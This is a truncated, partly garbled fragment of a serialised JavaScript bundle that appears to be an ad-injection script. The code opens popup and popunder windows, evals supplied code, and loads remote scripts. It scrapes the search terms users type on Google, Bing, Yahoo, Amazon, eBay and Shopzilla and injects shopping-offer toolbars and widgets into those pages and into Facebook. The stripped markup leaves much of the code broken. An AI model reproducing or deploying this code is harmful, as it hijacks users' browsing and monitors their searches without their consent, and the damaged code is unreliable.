\").attr(\"id\",\"_om_marker_\"+id).appendTo(\"head\");}","openPopup":"function($,url,popunder,specsObj){if(window._om_cf)return;if(popunder){$.popunder([[url,{window:specsObj}]]);}else{var specs=[];$.each(specsObj,function(k,v){specs.push(k+\"=\"+v);});window.open(url,\"\",specs.join(\",\"));}}","deferredPopupHandler":"function(url,name,specs,replace){var popunder=false;var specsObj={};specs.split(/,/).forEach(function(opt){var p=opt.split(/=/);specsObj[p[0]]=p[1];});$_om_jq(document).one(\"click\",function(e){if(e.target.id==\"_om_ep_close\")return;window._om_fns.openPopup($_om_jq,url,popunder,specsObj);});return{blur:function(){popunder=true;},focus:function(){popunder=false;},};}","deferredPopupDocWriteHandler":"function(html){document.write(html.replace(/(<\\s*\\/?\\s*)script(\\s*([^>]*)?\\s*>)/gi,'$1om_ds$2'));}","loadRightMediaPopupScript":"function($,url){$(\"\").attr(\"class\",\"_om_rm_popup\").attr(\"data-om-src\",url).appendTo(\"head\");}","addScript":"function($,s){switch(s.type){case\"external\":if(s.code)eval(s.code);$.each(s.urls,function(_,url){$.getScript(url);});if(window._om_ver>=2)window._om_fns.registerAd($,s.dispId);break;case\"twenga\":if($(s.twengaWidgetMode?\"#_om_twenga_widget_marker\":\"#_om_twenga_marker\").length)break;$(\"\").css({display:\"none\"}).attr(\"id\",s.twengaWidgetMode?\"_om_twenga_widget_marker\":\"_om_twenga_marker\").appendTo(\"body\");if(!s.twengaWidgetMode&&$.cookie(\"_om_twenga_tb_blocked\")==\"1\")break;var getKeyword=function(){var match=document.location.href.match(/\\/\\/[^\\/]*?\\.?google(?:\\.co)?\\.\\w+\\/.*?#(?:.*?&)?q=([^&]*)/);if(match&&match[1]){if(s.twengaRefineKeywords){match[1]=$(\"#ires .g:first a:first em\").text(function(_,text){return text+\" \"}).text();}\nreturn decodeURIComponent(match[1].replace(/\\+/g,\" \"));}\nvar match=document.location.href.match(/\\/\\/[^\\/]*?\\.?google(?:\\.co)?\\.\\w+\\/.*?[#\\?&]q=([^&]*)/);if(match&&match[1]){if(s.twengaRefineKeywords){match[1]=$(\"#ires .g:first a:first em\").text(function(_,text){return text+\" \"}).text();}\nreturn decodeURIComponent(match[1].replace(/\\+/g,\" \"));}\nmatch=document.location.href.match(/\\/\\/[^\\/]*?\\.?search\\.yahoo\\.com\\/search.*?[#\\?&]p=([^&]*)/);if(match&&match[1]){if(s.twengaRefineKeywords){match[1]=$(\"#web ol .res:first a:first b\").text(function(_,text){return text+\" \"}).text();}\nreturn decodeURIComponent(match[1].replace(/\\+/g,\" \"));}\nmatch=document.location.href.match(/\\/\\/www\\.bing\\.com\\/search.*?[#\\?&]q=([^&]*)/);if(match&&match[1]){if(s.twengaRefineKeywords){match[1]=$(\"#results .sa_wr a:first strong\").text(function(_,text){return text+\" \"}).text();}\nreturn decodeURIComponent(match[1].replace(/\\+/g,\" \"));}\nmatch=document.location.href.match(/\\/\\/www\\.delta\\-search\\.com\\/.*?[\\?&]q=([^&]*)/);if(match&&match[1]){if(s.twengaRefineKeywords){match[1]=$(\".srmfc a.srsatit:first b\").text(function(_,text){return text+\" \"}).text();}\nreturn decodeURIComponent(match[1].replace(/\\+/g,\" \"));}\nmatch=document.location.href.match(/\\/\\/[^\\/]*?\\.?pricegrabber(?:\\.co)?\\.\\w+\\/(?:[a-z0-9\\-\\+\\.]+\\/)+form_keyword=([^&\\/]*)/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\+/g,\" \"));match=document.location.href.match(/\\/\\/[^\\/]*?\\.?pricegrabber(?:\\.co)?\\.\\w+\\/(?:[a-z0-9\\-\\+\\.]+\\/)+\\?+form_keyword=([^&\\/]*)/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\+/g,\" \"));match=document.location.href.match(/\\/\\/[^\\/]*?\\.?pricegrabber(?:\\.co)?\\.\\w+\\/(?:[a-z0-9\\-\\+\\.]+\\/)[a-z\\-]+\\+\\+([a-z\\-]+)/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\-/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.com\\/([\\w\\+]+)\\/search/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\+/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.com\\/([\\w\\-]+)\\/[0-9]+/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\-/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.com\\/[\\w\\-]+\\/([\\w\\+]+)/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\+/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.co\\.uk\\/([\\w\\-]+)\\/products\\//);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\-/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.de\\/([\\w\\-]+)\\/produkte\\//);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\-/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.de\\/([\\w\\-]+)\\/durchsuchen\\//);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\-/g,\" \"));match=document.location.href.match(/\\/\\/www\\.shopzilla\\.fr\\/([\\w\\-]+)\\/articles\\//);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\-/g,\" \"));match=document.location.href.match(/\\/\\/[^\\/]*?\\.?ebay(?:\\.co)?\\.\\w+\\/sch\\/.*?[#\\?&]_nkw=([^&]*)/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\+/g,\" \"));if(document.location.href.match(/\\/\\/[^\\/]*?\\.?ebay(?:\\.co)?\\.\\w+\\/itm\\//)){var title=$(\"meta[property='og:title']\").attr(\"content\");if(title)return title;}\nmatch=document.location.href.match(/\\/\\/[^\\/]*?\\.?amazon(?:\\.co)?\\.\\w+\\/s\\/.*?[#\\?&](?:field-)?keywords=([^&]*)/);if(match&&match[1])return decodeURIComponent(match[1].replace(/\\+/g,\" \"));if(document.location.href.match(/\\/\\/[^\\/]*?\\.?amazon(?:\\.co)?\\.\\w+\\/(?:[^\\/]+\\/)?dp\\//)||document.location.href.match(/\\/\\/[^\\/]*?\\.?amazon(?:\\.co)?\\.\\w+\\/gp\\/product\\//)){var title=$(\"span#btAsinTitle\").text();if(title)return title;}\nif(s.twengaWidgetMode&&s.twengaRandomKeywords&&(document.location.href.match(/\\/\\/www\\.facebook\\.com\\/[a-zA-Z\\-]/)||document.location.href.match(/\\/\\/www\\.facebook\\.com\\/pages\\/[0-9]/))){var key=Math.floor(Math.random()*s.twengaRandomKeywords.length);return s.twengaRandomKeywords[key];}\nreturn\"\";};var stripBoilerplate=function(keyword){if(keyword==\"\")return keyword;var keywords=keyword.split(\" \");var strippedKeywords=[];$(keywords).each(function(_,key){if($.inArray(key,s.twengaBoilerplateWords)==-1&&key.length>2){strippedKeywords.push(key);}});return strippedKeywords.join(\" \");};var cropKeywords=function(keyword,length){var newKeywords=[];$(keyword.split(\" \")).each(function(_,key){if($.inArray(key,newKeywords)==-1){if(length>0){newKeywords.push(key);length--;}}});return newKeywords.join(\" \");}\nvar trackGAEvent=function(action,keyword){if(window._om_ver>=4)window._om_fns.trackEvent({account:window._om_data.gaAccount,domain:window._om_data.gaDomain,category:window._om_data.channelId,action:s.dispId+\" \"+action,label:keyword});};var apiConvert=function(obj){if(obj.tw_objects){obj.products=obj.tw_objects;obj.infos.nb_products=obj.infos.nb_tw_objects;obj.products.forEach(function(prod){prod.nb_offers=prod.nb_results;prod.offers=prod.results;});}}\nvar becomeToTwenga=function(obj){if(obj.productResultsModule){var currencies={USD:\"$\",EUR:\"\\u20AC\",GBP:\"\\u00A3\",JPY:\"\\u00A5\"};var twengaObj={code:200,infos:{nb_products:1},products:[{nb_offers:obj.productResultsModule.productResults.n,offers:[]}]};obj.productResultsModule.productResults.product.forEach(function(offer,index){twengaObj.products[0].offers.push({name:offer.label,click_url:offer.offer.url,has_image:!!offer.image[0],image:offer.image[0]?{small:{url:offer.image[0].source,width:offer.image[0].width,height:offer.image[0].height}}:null,price:(currencies[offer.offer.price.cur]||offer.offer.price.cur)+\" \"+offer.offer.price.value.toFixed(2),has_merchant:!!offer.offer.merchant,merchant:!!offer.offer.merchant?{name:offer.offer.merchant.label}:null,has_shipping_cost:false});});}\nreturn twengaObj;};var css=document.createElement('style');css.type='text/css';css.id=\"_om_twenga_css\";var styles='body._om_twenga_tb_visible {padding-top: 37px !important}\\n';if($('#gbx3').length){if(window._om_dbg)console.log('Google layout 1');styles+='body._om_twenga_tb_visible #gbzw, body._om_twenga_tb_visible #gbq, body._om_twenga_tb_visible #gbx1, body._om_twenga_tb_visible #gbx3, body._om_twenga_tvisible #gbu {margin-top: 37px !important}\\n';styles+='body._om_twenga_tb_visible #gbq {margin-top: 37px !important}';}else{if(window._om_dbg)console.log('Google layout 2');styles+='body._om_twenga_tb_visible #gbzw, body._om_twenga_tb_visible #gbx1, body._om_twenga_tb_visible #gbx3, body._om_twenga_tb_visible #gbu {margin-top: 37px !important}\\n';styles+='body._om_twenga_tb_visible #gb {top: 37px}'}\nstyles+='#_om_twenga_tb_overlay tr:hover {background-color: #dddddd}\\n';styles+='#_om_twenga_tb_overlay tr:hover {background-color: #dddddd}\\n';if(css.styleSheet){css.styleSheet.cssText=styles;}else{css.appendChild(document.createTextNode(styles));}\ndocument.getElementsByTagName(\"head\")[0].appendChild(css);var lastKeyword=\"\";var modified=true;var waiting=false;var fn=function(){var rand=Math.floor(Math.random()*999);if(!modified)return;if(waiting)return;modified=false;var keyword=getKeyword();keyword=cropKeywords(keyword,3);if(keyword==lastKeyword)return;lastKeyword=$(\".loadingSpinner\").length?\"\":keyword;if(s.twengaWidgetMode){$(\"#_om_twenga_widget\").remove();}else{$(\"#_om_twenga_tb\").remove();$(\"body\").removeClass(\"_om_twenga_tb_visible\");}\nif(keyword){waiting=true;var callback=function(data){waiting=false;if(s.twengaWidgetMode){$(\"#_om_twenga_widget\").remove();}else{$(\"#_om_twenga_tb\").remove();$(\"body\").removeClass(\"_om_twenga_tb_visible\");}\napiConvert(data);if(s.twengaUrl.match(/channel\\.become\\.com/))data=becomeToTwenga(data);if(data.code!=200||!data.infos||data.infos.nb_products<1||!data.products||!data.products[0]||data.products[0].nb_offers<1||!data.products[0].offers||!data.products[0].offers[0]||!data.products[0].offers[0].name)return;if(s.twengaWidgetMode){var $widget=$(\"
\").css({textAlign:\"left\",boxSizing:\"border-box\",backgroundColor:\"white\"}).attr(\"id\",\"_om_twenga_widget\");var $text=$(\"\").attr(\"id\",\"_om_twenga_widget_header\").html(\"Offers for :\").appendTo($widget);$text.find(\"strong\").text(keyword).css({fontWeight:\"700\"});var $widgetViewportContainer=$(\"
\").css({position:\"relative\",textAlign:\"center\"}).appendTo($widget);var $widgetViewport=$(\"
\").css({overflowX:\"hidden\",whiteSpace:\"nowrap\"}).attr(\"id\",\"_om_twenga_widget_viewport\").appendTo($widgetViewportContainer);var $leftArrow=$(\"\").css({display:\"none\",cursor:\"pointer\",position:\"absolute\",right:\"100%\",top:\"50%\",marginTop:-24}).attr(\"src\",\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAwCAIAAACE6i30AAAABnRSTlMA/wD/AP83WBt9AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAuklEQVR42u3UOxKAIAwEUPRcHJ97YePoiCHZ3VA5UlG9gXx2670X9bTWrvu+RNGhQRGht6JApkJDM4WDHIWAfAWFQgWCECWGQCWAcMWDKGUKsYoNCYoBacoIycoDyig3lFROKK+UUvYlSiqzf+gLUK112YuWWOfX8tZdo6T1KHbGGrsmW0b7NcueI8GaDiRreZNNWcGK4Fa8a6AFLS1iodsfWkSM+BaXR45FB9vMUhLStMSofVt6Zg/WAbN2QakWQRWdAAAAAElFTkSuQmCC\").click(function(){$widgetViewport.animate({scrollLeft:\"-=128px\"})}).appendTo($widgetViewportContainer);var $rightArrow=$(\"\").css({display:\"none\",cursor:\"pointer\",position:\"absolute\",left:\"100%\",top:\"50%\",marginTop:-24}).attr(\"src\",\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAwCAIAAACE6i30AAAABnRSTlMA/wD/AP83WBt9AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAwUlEQVR42u3XSw7DIAxFUXrX5d3DwjqoGkWEj23epFKZBaMjREL0/Kq1lu8ws5Id3B9aaxroxOI5lbMYziYsZoWoxaIWsliX/RbbFU4LzyKPhXPnWwv/ca4tQu94YRH98GYWidswtMhd0adF+r/RWXmos46gu3UKXZYA+lgaSLajP/SLkJkhUQQ7ugIMEuUI6sIUEiUJDYMdEiUMLUImEiUAbQMvEsUFOcM3EmUDhRoBJMoUSjQlSJQBlG6QkCillDf3MD9ddfiJcQAAAABJRU5ErkJggg==\").click(function(){$widgetViewport.animate({scrollLeft:\"+=128px\"})}).appendTo($widgetViewportContainer);$widget.hover(function(){$leftArrow.stop(true,true).fadeIn(\"fast\");$rightArrow.stop(true,true).fadeIn(\"fast\");}).mouseleave(function(){$leftArrow.stop(true,true).fadeOut(\"slow\");$rightArrow.stop(true,true).fadeOut(\"slow\");});$.each(data.products[0].offers,function(index,offer){var $tableContainer=$(\"
\").css({display:\"inline-block\"}).attr(\"title\",offer.name).appendTo($widgetViewport);var $block=$(\"\").css({border:\"none\",borderCollapse:\"collapse\",borderSpacing:0,cursor:\"pointer\",textAlign:\"center\",width:100,display:\"table\",margin:10}).click(function(){trackGAEvent(\"Offer \"+index,keyword);document.location.href=offer.click_url;}).appendTo($tableContainer);var $imageRow=$(\"\").css({height:100}).appendTo($block);$imageRow.attr('style',$imageRow.attr('style')+'; vertical-align: middle !important;');var $imageCell=$(\"\").appendTo($block);$textRow.attr('style',$textRow.attr('style')+'; vertical-align: middle !important;');var $textCell=$(\"
\").css({padding:4}).appendTo($imageRow);$imageCell.attr('style',$imageCell.attr('style')+'; vertical-align: inherit !important;');if(offer.has_image){$(\"\").attr(\"src\",offer.image.small.url).appendTo($imageCell);}else{$imageCell.html(\" \");}\nvar $textRow=$(\"
\").css({border:\"none\",padding:4}).appendTo($textRow);$textCell.attr('style',$textCell.attr('style')+'; vertical-align: inherit !important;');$(\"\").css({display:\"block\",fontSize:11,width:100,overflow:\"hidden\",textOverflow:\"ellipsis\",height:\"1.3em\",whiteSpace:\"nowrap\"}).text(offer.name).attr(\"href\",offer.click_url).appendTo($textCell);$(\"\").css({display:\"block\",fontSize:11,width:100,overflow:\"hidden\",textOverflow:\"ellipsis\",height:\"1.3em\",whiteSpace:\"nowrap\"}).text(offer.price).appendTo($textCell);});var $firstResult;if(($firstResult=$(\"body#gsr #ires li.g:not([id]):first\")).length){$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#12C\"});}else if(($firstResult=$(\"body#ysch #main\")).length){$widget.css({marginLeft:22,marginTop:10,width:512});$firstResult.prepend($widget);$(\"#_om_twenga_widget_header\").css({color:\"#0000de\"});}else if(($firstResult=$(\"div#sw_page #wg0 li.sa_wr:first\")).length){$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#04C\"});}else if(($firstResult=$(\"div.srmc .srmfc div.srsa:first\")).length){$widget.css({width:512});$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#11C\"});}else if(($firstResult=$(\"#main #center\")).length){$widget.css({width:512,marginLeft:16});$firstResult.prepend($widget);$(\"#_om_twenga_widget_header\").css({color:\"#004b91\"});}else if(($firstResult=$(\"#Body #Results\")).length){$widgetViewport.css({height:170});$widget.css({width:512,marginLeft:16,marginTop:30});$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#00C\"});}else if(($firstResult=$(\"div#yui-main div#product_results\")).length){$widget.css({width:512});$firstResult.before($widget);$(\"#_om_twenga_widget_header\").css({color:\"#006ab2\"});}else if(($firstResult=$(\"body.shopzilla .results\")).length){$widget.css({marginLeft:20,width:512});$firstResult.before($widget);}else if(($firstResult=$(\"body.sem div.results\")).length){$widget.css({marginLeft:20});$firstResult.before($widget);}else if(($firstResult=$(\"html#facebook div#timelineNavContent\")).length){$container=$(\"
\").css({textAlign:\"center\"}).append($widget);$widget.css({width:512,margin:\"auto\"});$firstResult.append($container);}else if(($firstResult=$(\"html#facebook div#timeline_tab_content\")).length){$container=$(\"
\").css({textAlign:\"center\"}).append($widget);$widget.css({width:512,margin:\"auto\"});$firstResult.before($container);}else if($firstResult=$(\"#pagelet_megaphone\").length){$firstResult.before($widget);}\nif(!$(\"#_om_twenga_widget_header\").css(\"color\")){$(\"#_om_twenga_widget_header\").css({color:\"#0000ff\"});}\nif($(\"#_om_twenga_widget\").length){if(window._om_ver>=2)window._om_fns.registerAd($,s.dispId);}}else{$(\"body\").addClass(\"_om_twenga_tb_visible\");var links=\"\";var offerLink='%price% from %merchant%';var barOffers=data.products[0].offers.slice(0,4);barOffers.forEach(function(offer,i){if(i!=0)links+=\", \";var html=offerLink.replace(\"%firstlink%\",offer.click_url).replace(\"%price%\",offer.price).replace(\"%merchant%\",offer.has_merchant?offer.merchant.name:\"another merchant\");links+=html;});var html=s.template.replace(\"%offerlinks%\",links);var $bar=$(\"
\").attr(\"id\",\"_om_twenga_tb\").css({textAlign:\"left\",position:\"fixed\",zIndex:65535,left:0,top:0,padding:0,margin:0,backgroundColor:\"white\",width:\"100%\"}).addClass(\"_om_twenga_tb\").html(html).appendTo(\"body\");$bar.find(\"#_om_twenga_tb_close\").click(function(){$bar.remove();$(\"body\").removeClass(\"_om_twenga_tb_visible\");var msg=$(this).attr(\"data-om-close-message\");if(!msg||confirm(msg.replace(\"%host%\",document.location.hostname)))$.cookie(\"_om_twenga_tb_blocked\",1,{path:\"/\",expires:365});});var $overlay=$(\"
\").css({position:\"fixed\",width:450,boxSizing:\"border-box\",borderRadius:10,boxShadow:\"0 0 5px 5px #888\",padding:6,marginLeft:-225,display:\"none\",backgroundColor:\"white\",zIndex:9999999}).attr(\"id\",\"_om_twenga_tb_overlay\").appendTo($bar);$(\"\").text(keyword).appendTo($overlay);var $overlayViewport=$(\"
\").css({width:430,maxHeight:550,padding:4,overflowY:\"scroll\"}).attr(\"id\",\"_om_twenga_tb_overlay_viewport\").appendTo($overlay);var $table=$(\"\").css({borderCollapse:\"collapse\",borderSpacing:\"none\",width:410,border:\"none\",fontFamily:\"inherit\",fontSize:\"inherit\",fontStyle:\"inherit\",fontWeight:\"inherit\"}).appendTo($overlayViewport);$.each(data.products[0].offers,function(index,offer){var $row=$(\"\").css({border:\"none\",borderTop:\"1px solid #888888\",margin:\"1px 0px\",cursor:\"pointer\"}).click(function(){trackGAEvent(\"Offer \"+index,keyword);document.location.href=offer.click_url;}).appendTo($table);var $image=$(\"
\").css({border:\"none\",textAlign:\"center\",width:105}).appendTo($row);if(offer.has_image){$(\"\").attr(\"src\",offer.image.small.url).appendTo($image);}\nvar $price=$(\"\").css({border:\"none\",textWeight:\"bold\",fontSize:\"130%\",width:95}).text(offer.price).appendTo($row);if(offer.has_shipping_cost&&offer.shipping_cost.match(/[1-9]+/)){$price.append(\"
\");$(\"\").css({fontSize:\"65%\",fontWeight:\"normal\",color:\"#808080\"}).text(\"+\"+offer.shipping_cost+\" Shipping\").appendTo($price);}\nvar $text=$(\"
\").css({border:\"none\",fontWeight:\"bold\"}).text(offer.name).appendTo($row);if(offer.has_merchant){$text.append(\"
\");$(\"\").css({fontWeight:\"normal\",color:\"#808080\"}).text(\"From \"+offer.merchant.name).appendTo($text);}\n$(\"#_om_twenga_tb_close\").click(function(){trackGAEvent(\"Close\",keyword);});$(\"#_om_twenga_tb_button\").click(function(){trackGAEvent(\"More Offers Button\",keyword);});$(\"#_om_twenga_tb_hp\").click(function(){trackGAEvent(\"Logo\",keyword);});$(\"#_om_twenga_tb_first\").click(function(){trackGAEvent(\"First Offer\",keyword);});});var bgImageNormal=\"url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABeSURBVBhXLY6LDcQwCEMd9h+0O1yD7xkagSx/IBz/Hltl+8hFC7CbgrV0yxFVclOFIgFhFzYDKPFsvMscL1veiWRZYNmYsEkGEElSbPm8Te7v4ryIsN6BiJoD6aP+AwvJWYcG7cEmAAAAAElFTkSuQmCC)\";var bgImagePressed=\"url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABdSURBVBhXLY6LDYBACENLz/0XcioHMPgKXrgQ+oN6n1uSpaK2/ZO9gNU9YBUFQh2mA7VczxTDz+UBklJRXhvGOya44VoYLoNMisDT1seS+CIxytke5UTvEXNHvsofw4sPQ6nYUwYAAAAASUVORK5CYII=)\";$bar.find(\"#_om_twenga_tb_button\").css({backgroundImage:bgImageNormal}).click(function(){if($overlay.is(\":visible\")){$overlay.hide(200);$(this).css({backgroundImage:bgImageNormal});}else{var thisOffset=$bar.offset();$overlay.css({left:$(window).width()-$overlay.width()/ 2,top:thisOffset.bottom+4}).show(200);$(this).css({backgroundImage:bgImagePressed});}});if(window._om_ver>=2)window._om_fns.registerAd($,s.dispId);}};var bizrateToTwenga=function(obj){var offersOnly=!!obj.offers;var root=offersOnly?obj.offers:obj.products;twData={code:200,infos:{nb_products:1},products:[{nb_offers:root.includedResults,offers:[]}]};for(var i=0;i<(offersOnly?root.offer.length:root.product.length);i++){var offer=offersOnly?root.offer[i]:root.product[i];twData.products[0].offers.push({name:offer.title,click_url:offer.url.value,has_image:!!offer.images,image:offer.images?{small:offer.images.image[1]?{url:offer.images.image[1].value,width:offer.images.image[1].xsize,height:offer.images.image[1].ysize}:null,medium:offer.images.image[2]?{url:offer.images.image[2].value,width:offer.images.image[2].xsize,height:offer.images.image[2].ysize}:null,big:offer.images.image[3]?{url:offer.images.image[3].value,width:offer.images.image[3].xsize,height:offer.images.image[3].ysize}:null}:null,price:offer.price?offer.price.value:offer.priceSet.minPrice.value,has_merchant:!!offer.merchantName,merchant:!!offer.merchantName?{name:offer.merchantName}:null,has_shipping_cost:!!offer.shipAmount,shipping_cost:!!offer.shipAmount?offer.shipAmount.value:null});}\ncallback(twData);};if(s.twengaUrl.match(/catalog\\.bizrate\\.co/)||s.twengaUrl.match(/catalog\\.shopzilla\\./)){$.getJSON(s.twengaUrl+\"&callback=?\",{keyword:keyword},bizrateToTwenga);}else{$.ajax({dataType:'json',url:s.twengaUrl,data:{keyword:keyword,qry:keyword},success:callback,beforeSend:function(req){if(s.auth){req.withCredentials=true;req.setRequestHeader(\"Authorization\",\"Basic \"+s.auth);}},async:true,crossDomain:true});}}};fn();$(document).bind(\"DOMSubtreeModified\",function(){modified=true;});setInterval(fn,400);break;case\"right_media_popup\":if(window._om_cf)return;$.each(s.urls,function(_,url){if(window._om_ver>=3){window._om_fns.loadRightMediaPopupScript($,url);}else{$.getScript(url);}});if(window._om_ver>=2)window._om_fns.registerAd($,s.dispId);break;}}","addOfferDisplay":"function($,o){if($(o.type=='widget'?\"#_om_twenga_widget_marker\":\"#_om_twenga_marker\").length)return;$(\"\").css({display:\"none\"}).attr(\"id\",o.type=='widget'?\"_om_twenga_widget_marker\":\"_om_twenga_marker\").appendTo(\"body\");if(o.type!='widget'&&$.cookie(\"_om_twenga_tb_blocked\")==\"1\")return;var stripBoilerplate=function(keyword){if(keyword==\"\")return keyword;var keywords=keyword.split(\" \");var strippedKeywords=[];$(keywords).each(function(_,key){if($.inArray(key,o.boilerplateWords)==-1&&key.length>2){strippedKeywords.push(key);}});return strippedKeywords.join(\" \");};var cropKeywords=function(keyword,length){var newKeywords=[];var keywords=keyword.split(\" \").filter(function(e){return e!=\"\"});if(o.refineKeywords<2){$(keywords).each(function(_,key){if($.inArray(key.toLowerCase(),newKeywords)==-1){if(length>0){newKeywords.push(key.toLowerCase());length--;}}});}else{var keywordList={};$(keywords).each(function(_,key){if(!keywordList[key.toLowerCase()])keywordList[key.toLowerCase()]={keyword:key.toLowerCase(),count:0};keywordList[key.toLowerCase()].count+=1;});var keywordArray=$.map(keywordList,function(val){return val;});keywordArray.sort(function(a,b){return b.count-a.count;});keywordArray=$.map(keywordArray,function(obj){return obj.keyword});newKeywords=keywordArray.slice(0,length);}\nreturn newKeywords.join(\" \");}\nvar trackGAEvent=function(action,keyword){if(window._om_ver>=4)window._om_fns.trackEvent({account:window._om_data.gaAccount,domain:window._om_data.gaDomain,category:window._om_data.channelId,action:o.dispId+\" \"+action,label:keyword});};var apiConvert=function(obj){if(obj.tw_objects){obj.products=obj.tw_objects;obj.infos.nb_products=obj.infos.nb_tw_objects;obj.products.forEach(function(prod){prod.nb_offers=prod.nb_results;prod.offers=prod.results;});}}\nvar becomeToTwenga=function(obj){if(obj.productResultsModule){var currencies={USD:\"$\",EUR:\"\\u20AC\",GBP:\"\\u00A3\",JPY:\"\\u00A5\"};var twengaObj={code:200,infos:{nb_products:1},products:[{nb_offers:obj.productResultsModule.productResults.n,offers:[]}]};obj.productResultsModule.productResults.product.forEach(function(offer,index){twengaObj.products[0].offers.push({name:offer.label,click_url:offer.offer.url,has_image:!!offer.image[0],image:offer.image[0]?{small:{url:offer.image[0].source,width:offer.image[0].width,height:offer.image[0].height}}:null,price:(currencies[offer.offer.price.cur]||offer.offer.price.cur)+\" \"+offer.offer.price.value.toFixed(2),has_merchant:!!offer.offer.merchant,merchant:!!offer.offer.merchant?{name:offer.offer.merchant.label}:null,has_shipping_cost:false});});}\nreturn twengaObj;};var css=document.createElement('style');css.type='text/css';css.id=\"_om_twenga_css\";var styles='body._om_twenga_tb_visible {padding-top: 37px !important}\\n';if($('#gbx3').length){styles+='body._om_twenga_tb_visible #gbzw, body._om_twenga_tb_visible #gbq, body._om_twenga_tb_visible #gbx1, body._om_twenga_tb_visible #gbx3, body._om_twenga_tb_visible #gbu {margin-top: 37px !important}\\n';}else{styles+='body._om_twenga_tb_visible #gbzw, body._om_twenga_tb_visible #gbx1, body._om_twenga_tb_visible #gbx3, body._om_twenga_tb_visible #gbu {margin-top: 37px !important}\\n';styles+='body._om_twenga_tb_visible #gb {top: 37px}'}\nstyles+='#_om_twenga_tb_overlay tr:hover {background-color: #dddddd}\\n';if(css.styleSheet){css.styleSheet.cssText=styles;}else{css.appendChild(document.createTextNode(styles));}\ndocument.getElementsByTagName(\"head\")[0].appendChild(css);var lastKeyword=\"\";var modified=true;var waiting=false;var loaded=function(){if(document.location.href.match(/\\/\\/[^\\/]*?\\.?amazon/)&&(!$(\"#main #rightResultsATF #center\").length&&!$(\"#main #rightResultsATF #centerPlus\").length))return false;if($(\".loadingSpinner\").length)return false;if(document.location.href.match(/\\/\\/[^\\/]*?\\.?google(?:\\.co)?\\.\\w+\\//)&&!$(\"body#gsr #center_col\").length)return false;if(document.location.href.match(/\\/\\/www\\.bing\\.com\\//)&&!$(\"div#sw_page #wg0 li.sa_wr:first\").length)return false;if(document.location.href.match(/\\/\\/search\\.conduit\\.com/)&&!$(\"#inner_page_wrapper #organic_results\").length)return false;return true;}\nvar fn=function(){var rand=Math.floor(Math.random()*999);if(!modified)return;if(waiting)return;modified=false;var keyword=_om_fns.getKeyword($,o);keyword=cropKeywords(keyword,3);if(!loaded()||(keyword==lastKeyword)){waiting=false;return;}\nvar okay=window._om_fns.checkKeyword($,o,keyword);lastKeyword=keyword;if(window._om_dbg)console.log(keyword);if(window._om_dbg)console.log(o.dispId+\" black/white list active: \"+!okay);if(!okay){waiting=false;return;}\nif(o.type=='widget'){$(\"#_om_twenga_widget\").remove();}else{$(\"#_om_twenga_tb\").remove();$(\"body\").removeClass(\"_om_twenga_tb_visible\");}\nif(keyword){waiting=true;var callback=function(rawData){var data={nb_products:1,products:{nb_offers:0,offers:[]}};if(o.sorting==\"price\"){$.each(rawData,function(_,resp){if(!resp)return;data.products.nb_offers+=resp.products[0].nb_offers;data.products.offers=data.products.offers.concat(resp.products[0].offers);});data.products.offers.sort(function(a,b){var compA=a.price.match(/([0-9]+[,.][0-9]*)/);compA=parseFloat(compA[1].replace(\",\",\".\"));var compB=b.price.match(/([0-9]+[,.][0-9]*)/);compB=parseFloat(compB[1].replace(\",\",\".\"));return compA-compB;});}else{var loadedData=rawData.filter(function(e){return e!=null});if(window._om_dbg)console.log(loadedData);$.each(loadedData,function(_,resp){data.products.nb_offers+=resp.products[0].nb_offers;});for(var i=0;i\").css({textAlign:\"left\",boxSizing:\"border-box\",backgroundColor:\"white\",display:\"none\"}).attr(\"id\",\"_om_twenga_widget\");var $text=$(\"\").attr(\"id\",\"_om_twenga_widget_header\").html(\"Offers for :\").appendTo($widget);$text.find(\"strong\").text(keyword).css({fontWeight:\"700\"});var $widgetViewportContainer=$(\"
\").css({position:\"relative\",textAlign:\"center\"}).appendTo($widget);var $widgetViewport=$(\"
